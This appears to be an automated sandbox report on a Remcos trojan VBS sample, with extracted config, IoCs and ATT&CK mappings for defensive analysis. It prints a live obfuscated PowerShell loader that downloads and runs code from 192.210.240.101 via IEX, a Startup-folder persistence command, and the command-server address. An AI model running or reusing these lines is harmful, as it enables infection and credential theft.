remcos | de7a6bf628cdb1265197ea78967808850230114acb014cd0a39aa36adf2832f7

Resubmissions

10-09-2022 11:44

220910-nwl3vsaag7 10

09-09-2022 16:16

220909-tq9vmageg6 10

Analysis

max time kernel
150s
max time network
133s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
10-09-2022 11:44

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General

Target

c1d6fcea01ed82777e63ebc9e6f085ce.vbs
Size

2KB
MD5

c1d6fcea01ed82777e63ebc9e6f085ce
SHA1

5497cee7b0f9b4f7f81491779e88edd83f167a15
SHA256

de7a6bf628cdb1265197ea78967808850230114acb014cd0a39aa36adf2832f7
SHA512

d1ea396de7dc2204733d113e2fed0d89b93c61cf7165ff9798a858712a81c4d9ad6a78eb0f75271f9df9e590d85c9e328ee9ce1348d01c66e0a446cda8d07611

Score

10^/10

remcos augb22 collection rat spyware stealer

Malware Config

Extracted

Family

remcos

Botnet

AUGB22

saptransmissions.dvrlists.com:55026

Attributes

audio_folder
MicRecords
audio_path
%AppData%
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
install_path
%AppData%
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
AUGB22
keylog_path
%AppData%
mouse_option
false
mutex
AUGB22-JJZGN0
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
Remcos
take_screenshot_option
false
take_screenshot_time
5
take_screenshot_title
wikipedia;solitaire;

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

NirSoft MailPassView 2 IoCs

Password recovery tool for various email clients

Processes:

resource	yara_rule
behavioral1/memory/540-102-0x0000000000400000-0x0000000000457000-memory.dmp	MailPassView
behavioral1/memory/540-106-0x0000000000400000-0x0000000000457000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 2 IoCs

Password recovery tool for various web browsers

Processes:

resource	yara_rule
behavioral1/memory/1972-103-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView
behavioral1/memory/1972-104-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 5 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1640-100-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/1972-103-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral1/memory/540-102-0x0000000000400000-0x0000000000457000-memory.dmp	Nirsoft
behavioral1/memory/1972-104-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral1/memory/540-106-0x0000000000400000-0x0000000000457000-memory.dmp	Nirsoft

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

7 1316 powershell.exe
Loads dropped DLL 1 IoCs

Processes:

powershell.exe

pid process

1316 powershell.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

flow	pid	process
7	1316	powershell.exe

pid	process
1316	powershell.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

Processes:

RegAsm.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	RegAsm.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

powershell.exeRegAsm.exe

description	pid	process	target process
PID 1316 set thread context of 808	1316	powershell.exe	RegAsm.exe
PID 808 set thread context of 1972	808	RegAsm.exe	RegAsm.exe
PID 808 set thread context of 540	808	RegAsm.exe	RegAsm.exe
PID 808 set thread context of 1640	808	RegAsm.exe	RegAsm.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e0f3d159765a7f43b6bf060b4b70c9a300000000020000000000106600000001000020000000e06590f89fb6a2dd2d2d125039169a576f212df2b8c029396b57d4c224fd49b4000000000e80000000020000200000003e87f481640d7fc5a7c6a643da56379e24e3bb3471c10907573852017f39189220000000a9ddc973d4a991880db68a10d260f6daea5579f5d1ec327d667b0d322994028540000000dc44da36ea274868ff4b6dce73ecc9407042d1d483c2b1098b8f4717660cd399c076f8081414730e594138f65725c9132d517b8cb4022536d23285e6046396a8	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e0f3d159765a7f43b6bf060b4b70c9a300000000020000000000106600000001000020000000ce773007ec7609c0eac4ee771556e58a1a4b15cdcd1ec715c96ea6e8570fab2b000000000e8000000002000020000000035563904c930b46956bbef30fc3d6bfe62f04dbc743c2ba56bd1ab427beca4390000000c4f2d1415ab78ae5bda132d87dc26c39b7a5f50a989c8e48708c79f8dae556ffb29bee4bc8f869e72fd1e47ebea3462bf984c68c6b8f1aef74baa26408da91303dd9806ce77451394ec54100cde13e6a50ac1e608cc8647a02c32829178a2c4ca6aacb743bc25816ffa4c39443d99639603bf729797a5cec9e0676398d247edeeec6b630168d38a4d0b18b6d6fb0ad2e40000000c39a0a3910a13a4a5f5efb20cb2cfd17039ecae559ef5f1fe064fa860d205ba06163cb5e3359c12736507a22a148b9664b1bcb4be442b3655d2f8e966fe56354	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{C245F061-310E-11ED-9551-6E705F4A26E5} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = f0b3629d1bc5d801	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exeRegAsm.exe

pid process

1316 powershell.exe
1744 powershell.exe
1316 powershell.exe
1316 powershell.exe
1972 RegAsm.exe
1972 RegAsm.exe
Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

RegAsm.exe

pid process

808 RegAsm.exe
808 RegAsm.exe
808 RegAsm.exe
808 RegAsm.exe
Suspicious behavior: RenamesItself 1 IoCs

Processes:

powershell.exe

pid process

1744 powershell.exe

pid	process
1316	powershell.exe
1744	powershell.exe
1316	powershell.exe
1316	powershell.exe
1972	RegAsm.exe
1972	RegAsm.exe

pid	process
808	RegAsm.exe
808	RegAsm.exe
808	RegAsm.exe
808	RegAsm.exe

pid	process
1744	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

Processes:

powershell.exepowershell.exeRegAsm.exe

description	pid	process
Token: SeDebugPrivilege	1316	powershell.exe
Token: SeDebugPrivilege	1744	powershell.exe
Token: SeIncreaseQuotaPrivilege	1316	powershell.exe
Token: SeSecurityPrivilege	1316	powershell.exe
Token: SeTakeOwnershipPrivilege	1316	powershell.exe
Token: SeLoadDriverPrivilege	1316	powershell.exe
Token: SeSystemProfilePrivilege	1316	powershell.exe
Token: SeSystemtimePrivilege	1316	powershell.exe
Token: SeProfSingleProcessPrivilege	1316	powershell.exe
Token: SeIncBasePriorityPrivilege	1316	powershell.exe
Token: SeCreatePagefilePrivilege	1316	powershell.exe
Token: SeBackupPrivilege	1316	powershell.exe
Token: SeRestorePrivilege	1316	powershell.exe
Token: SeShutdownPrivilege	1316	powershell.exe
Token: SeDebugPrivilege	1316	powershell.exe
Token: SeSystemEnvironmentPrivilege	1316	powershell.exe
Token: SeRemoteShutdownPrivilege	1316	powershell.exe
Token: SeUndockPrivilege	1316	powershell.exe
Token: SeManageVolumePrivilege	1316	powershell.exe
Token: 33	1316	powershell.exe
Token: 34	1316	powershell.exe
Token: 35	1316	powershell.exe
Token: SeDebugPrivilege	1640	RegAsm.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid process

1732 iexplore.exe
Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

iexplore.exeIEXPLORE.EXERegAsm.exe

pid process

1732 iexplore.exe
1732 iexplore.exe
1704 IEXPLORE.EXE
1704 IEXPLORE.EXE
808 RegAsm.exe

pid	process
1732	iexplore.exe

pid	process
1732	iexplore.exe
1732	iexplore.exe
1704	IEXPLORE.EXE
1704	IEXPLORE.EXE
808	RegAsm.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

iexplore.exeWScript.exepowershell.exeRegAsm.exe

description	pid	process	target process
PID 1732 wrote to memory of 1704	1732	iexplore.exe	IEXPLORE.EXE
PID 1732 wrote to memory of 1704	1732	iexplore.exe	IEXPLORE.EXE
PID 1732 wrote to memory of 1704	1732	iexplore.exe	IEXPLORE.EXE
PID 1732 wrote to memory of 1704	1732	iexplore.exe	IEXPLORE.EXE
PID 1960 wrote to memory of 1316	1960	WScript.exe	powershell.exe
PID 1960 wrote to memory of 1316	1960	WScript.exe	powershell.exe
PID 1960 wrote to memory of 1316	1960	WScript.exe	powershell.exe
PID 1960 wrote to memory of 1744	1960	WScript.exe	powershell.exe
PID 1960 wrote to memory of 1744	1960	WScript.exe	powershell.exe
PID 1960 wrote to memory of 1744	1960	WScript.exe	powershell.exe
PID 1316 wrote to memory of 1032	1316	powershell.exe	RegAsm.exe
PID 1316 wrote to memory of 1032	1316	powershell.exe	RegAsm.exe
PID 1316 wrote to memory of 1032	1316	powershell.exe	RegAsm.exe
PID 1316 wrote to memory of 1032	1316	powershell.exe	RegAsm.exe
PID 1316 wrote to memory of 1032	1316	powershell.exe	RegAsm.exe
PID 1316 wrote to memory of 1032	1316	powershell.exe	RegAsm.exe
PID 1316 wrote to memory of 1032	1316	powershell.exe	RegAsm.exe
PID 1316 wrote to memory of 808	1316	powershell.exe	RegAsm.exe
PID 1316 wrote to memory of 808	1316	powershell.exe	RegAsm.exe
PID 1316 wrote to memory of 808	1316	powershell.exe	RegAsm.exe
PID 1316 wrote to memory of 808	1316	powershell.exe	RegAsm.exe
PID 1316 wrote to memory of 808	1316	powershell.exe	RegAsm.exe
PID 1316 wrote to memory of 808	1316	powershell.exe	RegAsm.exe
PID 1316 wrote to memory of 808	1316	powershell.exe	RegAsm.exe
PID 1316 wrote to memory of 808	1316	powershell.exe	RegAsm.exe
PID 1316 wrote to memory of 808	1316	powershell.exe	RegAsm.exe
PID 1316 wrote to memory of 808	1316	powershell.exe	RegAsm.exe
PID 1316 wrote to memory of 808	1316	powershell.exe	RegAsm.exe
PID 1316 wrote to memory of 808	1316	powershell.exe	RegAsm.exe
PID 1316 wrote to memory of 808	1316	powershell.exe	RegAsm.exe
PID 1316 wrote to memory of 808	1316	powershell.exe	RegAsm.exe
PID 1316 wrote to memory of 808	1316	powershell.exe	RegAsm.exe
PID 1316 wrote to memory of 808	1316	powershell.exe	RegAsm.exe
PID 808 wrote to memory of 1972	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 1972	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 1972	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 1972	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 1972	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 1972	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 1972	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 1972	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 1352	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 1352	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 1352	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 1352	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 1352	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 1352	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 1352	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 540	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 540	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 540	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 540	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 540	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 540	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 540	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 540	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 1640	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 1640	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 1640	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 1640	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 1640	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 1640	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 1640	808	RegAsm.exe	RegAsm.exe
PID 808 wrote to memory of 1640	808	RegAsm.exe	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c1d6fcea01ed82777e63ebc9e6f085ce.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,01100101,01100110,01100101,01110010,01100101,01101110,01100011,01100101,00100000,00111101,00100000,00100111,01010011,01101001,01101100,01100101,01101110,01110100,01101100,01111001,01000011,01101111,01101110,01110100,01101001,01101110,01110101,01100101,00100111,00111011,00100100,01110100,00110101,00110110,01100110,01100111,00100000,00111101,00100000,01011011,01000101,01101110,01110101,01101101,01011101,00111010,00111010,01010100,01101111,01001111,01100010,01101010,01100101,01100011,01110100,00101000,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,01010100,01111001,01110000,01100101,01011101,00101100,00100000,00110011,00110000,00110111,00110010,00101001,00111011,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01110010,01110110,01101001,01100011,01100101,01010000,01101111,01101001,01101110,01110100,01001101,01100001,01101110,01100001,01100111,01100101,01110010,01011101,00111010,00111010,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,00100000,00111101,00100000,00100100,01110100,00110101,00110110,01100110,01100111,00111011,01000001,01100100,01100100,00101101,01010100,01111001,01110000,01100101,00100000,00101101,01000001,01110011,01110011,01100101,01101101,01100010,01101100,01111001,01001110,01100001,01101101,01100101,00100000,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00111011,01100100,01101111,00100000,01111011,00100100,01110000,01101001,01101110,01100111,00100000,00111101,00100000,01110100,01100101,01110011,01110100,00101101,01100011,01101111,01101110,01101110,01100101,01100011,01110100,01101001,01101111,01101110,00100000,00101101,01100011,01101111,01101101,01110000,00100000,01100111,01101111,01101111,01100111,01101100,01100101,00101110,01100011,01101111,01101101,00100000,00101101,01100011,01101111,01110101,01101110,01110100,00100000,00110001,00100000,00101101,01010001,01110101,01101001,01100101,01110100,01111101,00100000,01110101,01101110,01110100,01101001,01101100,00100000,00101000,00100100,01110000,01101001,01101110,01100111,00101001,00111011,00100100,01110100,01110100,01111001,00111101,01010000,00101000,00100111,00101000,01001110,01100101,01110111,00101101,00100111,00101011,00100111,01001111,01100010,01101010,01100101,00100111,00101011,00100111,01100011,01110100,00100000,01001110,01100101,00100111,00101011,00100111,01110100,00101110,01010111,01100101,00100111,00101011,00100111,01100010,01000011,01101100,01101001,00100111,00101011,00100111,01100101,01101110,01110100,00101001,00100111,00101001,00111011,00100100,01101101,01110110,00111101,00100000,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01001001,01101110,01110100,01100101,01110010,01100001,01100011,01110100,01101001,01101111,01101110,01011101,00111010,00111010,01000011,01100001,01101100,01101100,01000010,01111001,01101110,01100001,01101101,01100101,00101000,00100100,01110100,01110100,01111001,00101100,00100111,01000100,01101111,01110111,01101110,00100111,00100000,00101011,00100000,00100111,01101100,01101111,01100001,01100100,00100111,00100000,00101011,00100000,00100111,01010011,01110100,01110010,00100111,00100000,00101011,00100000,00100111,01101001,01101110,01100111,00100111,00101100,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01000011,01100001,01101100,01101100,01010100,01111001,01110000,01100101,01011101,00111010,00111010,01001101,01100101,01110100,01101000,01101111,01100100,00101100,00100111,01101000,01110100,01110100,01110000,00100111,00100000,00101011,00100000,00100111,00111010,00101111,00101111,00110001,00111001,00110010,00101110,00110010,00110001,00110000,00101110,00110010,00110100,00110000,00101110,00110001,00110000,00110001,00101111,01010110,01101001,01110011,01100001,00101111,01010000,01100001,01111001,01100001,01100010,01101100,01100101,01110011,00101110,01101010,01110000,01100111,00100111,00101001,01111100,01010000) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };$o00='I' + 'EX';sal P $o00;([system.String]::Join('', $gf))|P
  2⤵
  - Blocklisted process makes network request
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1316
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:1032
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:808
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\jemjy"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1972
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\thauzmma"
      4⤵
      Accesses Microsoft Outlook accounts
      PID:540
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\thauzmma"
      4⤵
      PID:1352
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\ebfmaexcfxw"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Move-item 'C:\Users\Admin\AppData\Local\Temp\c1d6fcea01ed82777e63ebc9e6f085ce.vbs' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c1d6fcea01ed82777e63ebc9e6f085ce.vbs'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: RenamesItself
  - Suspicious use of AdjustPrivilegeToken
  PID:1744

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1732
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1732 CREDAT:275457 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:1704

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\jemjy

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
5d4b7ff5508f5ed166fc9f63a2f477a1

SHA1
b86bca5521c7ea20bd45e5763a732fe4af4dd10f

SHA256
fbfac4755037c1ba7f7cd92de8fa3c729897190711503cf9c21fa957746b6e4a

SHA512
3e126fe3b2c9863b821c2f7ee003ec8804f1e084c8ec48f65c1362a6e2fc6e91295ef78778ed4e560252e28ff4de9b565100e0ac7ff2b4ae8fa51c32676e4214

Download Submit
\Users\Admin\AppData\Local\Temp\2101ac6b-6b9b-440a-8e07-e6cc53c9bc33\AgileDotNetRT64.dll

Filesize
75KB

MD5
42b2c266e49a3acd346b91e3b0e638c0

SHA1
2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

SHA256
adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

SHA512
770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

Download Submit
memory/540-106-0x0000000000400000-0x0000000000457000-memory.dmp

Filesize
348KB

Download
memory/540-102-0x0000000000400000-0x0000000000457000-memory.dmp

Filesize
348KB

Download
memory/540-95-0x0000000000455238-mapping.dmp

Download
memory/808-91-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/808-78-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/808-107-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/808-93-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/808-86-0x00000000004327A4-mapping.dmp

Download
memory/808-89-0x0000000074AB1000-0x0000000074AB3000-memory.dmp

Filesize
8KB

Download
memory/808-85-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/808-83-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/808-81-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/808-80-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/808-79-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/808-73-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/808-74-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/808-76-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1316-72-0x000007FEF28F0000-0x000007FEF2A74000-memory.dmp

Filesize
1.5MB

Download
memory/1316-63-0x000007FEF31E0000-0x000007FEF3D3D000-memory.dmp

Filesize
11.4MB

Download
memory/1316-56-0x0000000000000000-mapping.dmp

Download
memory/1316-61-0x000007FEF3D40000-0x000007FEF4763000-memory.dmp

Filesize
10.1MB

Download
memory/1316-65-0x0000000002794000-0x0000000002797000-memory.dmp

Filesize
12KB

Download
memory/1316-68-0x000000000279B000-0x00000000027BA000-memory.dmp

Filesize
124KB

Download
memory/1316-87-0x0000000002794000-0x0000000002797000-memory.dmp

Filesize
12KB

Download
memory/1316-90-0x000000000279B000-0x00000000027BA000-memory.dmp

Filesize
124KB

Download
memory/1640-96-0x0000000000422206-mapping.dmp

Download
memory/1640-100-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
